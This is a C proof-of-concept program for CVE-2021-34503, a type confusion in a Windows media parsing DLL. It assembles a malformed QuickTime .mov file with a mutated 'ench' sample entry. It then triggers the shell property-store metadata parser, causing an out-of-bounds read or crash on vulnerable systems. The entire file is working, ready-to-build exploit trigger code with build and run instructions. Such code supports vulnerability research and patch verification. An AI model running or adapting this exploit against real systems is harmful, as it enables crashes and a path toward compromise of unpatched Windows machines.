/*
 * poc_cve_2021_34503.c — Trigger PoC for CVE-2021-34503
 *
 * Type confusion in mfmp4srcsnk.dll when parsing QuickTime metadata.
 * Creates a minimal .mov file with mutated Protected Sample Entry Box
 * (encv -> ench) and triggers the metadata parser via shell property store.
 *
 * Expected result on vulnerable systems: Access violation in
 * CAVCVideoSampleDescription::IsBetterForMediaType reading offset 0x104
 * from a 0x100-byte CQTVideoSampleDescription object.
 *
 * Build: cl /nologo /W4 poc_cve_2021_34503.c /link ole32.lib shell32.lib
 * Run:   poc_cve_2021_34503.exe [-v]
 *
 * Author: OnlyFm252 / STAR Labs SG (based on advisory by Phan Thanh Duy)
 * Date:   2026-07-26
 */

#define POC_CVE    "CVE-2021-34503"
#define POC_BINARY L"mfmp4srcsnk.dll"

#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
#include <propkey.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "propsys.lib")
#pragma comment(lib, "version.lib")
#pragma comment(lib, "advapi32.lib")

static int g_verbose = 0;

/*
 * QuickTime atom helpers
 * Each atom: [4-byte size][4-byte type][...data...]
 */

static void WriteAtomHeader(BYTE *buf, DWORD size, const char *type)
{
    /* Big-endian size */
    buf[0] = (BYTE)(size >> 24);
    buf[1] = (BYTE)(size >> 16);
    buf[2] = (BYTE)(size >> 8);
    buf[3] = (BYTE)(size);
    memcpy(buf + 4, type, 4);
}

/*
 * Build a minimal malformed .mov file that triggers the type confusion.
 *
 * Structure:
 *   ftyp -> moov -> trak -> mdia -> minf -> stbl -> stsd
 *   stsd contains two sample descriptions:
 *     1. avc1 (CAVCVideoSampleDescription - expected type)
 *     2. ench (mutated from encv - creates CQTVideoSampleDescription instead)
 *
 * When FinalParseAtom iterates both and calls IsBetterForMediaType
 * on the second (ench) object using the AVC vftable, the access at
 * offset 0x104 goes past the 0x100-byte allocation.
 */
static BOOL CreateMalformedMov(const wchar_t *path)
{
    FILE *fp = NULL;
    _wfopen_s(&fp, path, L"wb");
    if (!fp) {
        wprintf(L"[-] Cannot create file: %s\n", path);
        return FALSE;
    }

    BYTE buf[4096];
    memset(buf, 0, sizeof(buf));

    DWORD offset = 0;

    /* ftyp atom */
    DWORD ftypSize = 20;
    WriteAtomHeader(buf + offset, ftypSize, "ftyp");
    memcpy(buf + offset + 8, "qt  ", 4);  /* major brand */
    buf[offset + 12] = 0; buf[offset + 13] = 0;
    buf[offset + 14] = 0x02; buf[offset + 15] = 0x00;  /* minor version */
    memcpy(buf + offset + 16, "qt  ", 4);  /* compatible brand */
    offset += ftypSize;

    /* Sample description entry 1: avc1 (86 bytes min for video sample desc) */
    DWORD avc1EntrySize = 86 + 16;  /* base video + avcC box */
    BYTE avc1Entry[256];
    memset(avc1Entry, 0, sizeof(avc1Entry));
    WriteAtomHeader(avc1Entry, avc1EntrySize, "avc1");
    /* reserved (6 bytes) + data_ref_index (2 bytes) at offset 8 */
    avc1Entry[14] = 0; avc1Entry[15] = 1;  /* data_ref_index = 1 */
    /* width at offset 32-33, height at offset 34-35 */
    avc1Entry[32] = 0x01; avc1Entry[33] = 0x40;  /* 320 */
    avc1Entry[34] = 0x00; avc1Entry[35] = 0xF0;  /* 240 */
    /* avcC box inside avc1 */
    DWORD avcCSize = 16;
    WriteAtomHeader(avc1Entry + 86, avcCSize, "avcC");
    avc1Entry[86 + 8] = 1;  /* configurationVersion */

    /* Sample description entry 2: ench (mutated from encv) */
    DWORD enchEntrySize = 86;
    BYTE enchEntry[256];
    memset(enchEntry, 0, sizeof(enchEntry));
    WriteAtomHeader(enchEntry, enchEntrySize, "ench");  /* KEY MUTATION */
    enchEntry[14] = 0; enchEntry[15] = 1;
    enchEntry[32] = 0x01; enchEntry[33] = 0x40;
    enchEntry[34] = 0x00; enchEntry[35] = 0xF0;

    /* stsd atom */
    DWORD stsdSize = 16 + avc1EntrySize + enchEntrySize;
    BYTE stsd[1024];
    memset(stsd, 0, sizeof(stsd));
    WriteAtomHeader(stsd, stsdSize, "stsd");
    /* version (1 byte) + flags (3 bytes) at offset 8 */
    /* entry count at offset 12 (big-endian DWORD) */
    stsd[12] = 0; stsd[13] = 0; stsd[14] = 0; stsd[15] = 2;  /* 2 entries */
    memcpy(stsd + 16, avc1Entry, avc1EntrySize);
    memcpy(stsd + 16 + avc1EntrySize, enchEntry, enchEntrySize);

    /* Build atom nesting: stbl -> minf -> mdia -> trak -> moov */
    /* stbl */
    DWORD stblSize = 8 + stsdSize;

    /* minf */
    DWORD minfSize = 8 + stblSize;

    /* mdia: needs mdhd + hdlr + minf */
    DWORD mdhdSize = 32;  /* version 0 mdhd */
    DWORD hdlrSize = 33;  /* minimal hdlr */
    DWORD mdiaSize = 8 + mdhdSize + hdlrSize + minfSize;

    /* trak: needs tkhd + mdia */
    DWORD tkhdSize = 92;  /* version 0 tkhd */
    DWORD trakSize = 8 + tkhdSize + mdiaSize;

    /* mvhd */
    DWORD mvhdSize = 108;

    /* moov */
    DWORD moovSize = 8 + mvhdSize + trakSize;

    /* Write moov */
    WriteAtomHeader(buf + offset, moovSize, "moov");
    DWORD moovStart = offset;
    offset += 8;

    /* mvhd */
    WriteAtomHeader(buf + offset, mvhdSize, "mvhd");
    /* timescale at offset 20 (big-endian) */
    buf[offset + 20] = 0; buf[offset + 21] = 0;
    buf[offset + 22] = 0x03; buf[offset + 23] = 0xE8;  /* 1000 */
    offset += mvhdSize;

    /* trak */
    WriteAtomHeader(buf + offset, trakSize, "trak");
    offset += 8;

    /* tkhd */
    WriteAtomHeader(buf + offset, tkhdSize, "tkhd");
    buf[offset + 8 + 3] = 0x03;  /* flags: track enabled + in movie */
    offset += tkhdSize;

    /* mdia */
    WriteAtomHeader(buf + offset, mdiaSize, "mdia");
    offset += 8;

    /* mdhd */
    WriteAtomHeader(buf + offset, mdhdSize, "mdhd");
    buf[offset + 20] = 0; buf[offset + 21] = 0;
    buf[offset + 22] = 0x03; buf[offset + 23] = 0xE8;
    offset += mdhdSize;

    /* hdlr */
    WriteAtomHeader(buf + offset, hdlrSize, "hdlr");
    memcpy(buf + offset + 16, "vide", 4);  /* handler type: video */
    offset += hdlrSize;

    /* minf */
    WriteAtomHeader(buf + offset, minfSize, "minf");
    offset += 8;

    /* stbl */
    WriteAtomHeader(buf + offset, stblSize, "stbl");
    offset += 8;

    /* stsd (already built) */
    memcpy(buf + offset, stsd, stsdSize);
    offset += stsdSize;

    fwrite(buf, 1, offset, fp);
    fclose(fp);

    wprintf(L"[+] Created malformed .mov: %d bytes\n", offset);
    return TRUE;
}

int wmain(int argc, wchar_t *argv[])
{
    wprintf(L"=== PoC: %S ===\n", POC_CVE);
    wprintf(L"Binary: %s\n", POC_BINARY);
    wprintf(L"Bug:    Type confusion in CQTSampleDescriptionAtom::FinalParseAtom\n");
    wprintf(L"Impact: OOB read at offset 0x104 from 0x100-byte allocation\n\n");

    if (argc > 1 && wcscmp(argv[1], L"-v") == 0)
        g_verbose = 1;

    /* Create malformed .mov file */
    wchar_t tempPath[MAX_PATH];
    wchar_t movPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wsprintfW(movPath, L"%spoc_34503.mov", tempPath);

    if (!CreateMalformedMov(movPath))
        return 1;

    /* Trigger metadata parsing via property store */
    wprintf(L"[+] Triggering metadata parse via SHGetPropertyStoreFromParsingName...\n");
    wprintf(L"    (On vulnerable systems this may crash or read OOB)\n\n");

    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IPropertyStore *pStore = NULL;
    HRESULT hr = SHGetPropertyStoreFromParsingName(
        movPath, NULL, GPS_DEFAULT, &IID_IPropertyStore, (void **)&pStore);

    if (SUCCEEDED(hr)) {
        wprintf(L"[+] Property store opened — parser executed\n");
        if (pStore) pStore->lpVtbl->Release(pStore);
    } else {
        wprintf(L"[-] SHGetPropertyStoreFromParsingName: 0x%08X\n", hr);
        if (hr == E_FAIL || (hr & 0xFFFF) == ERROR_INVALID_PARAMETER) {
            wprintf(L"    Parser may have rejected the malformed file (patched?)\n");
        }
    }

    CoUninitialize();

    /* Cleanup */
    DeleteFileW(movPath);

    wprintf(L"\n[+] Done. Check for crash dumps if on vulnerable system.\n");
    return 0;
}
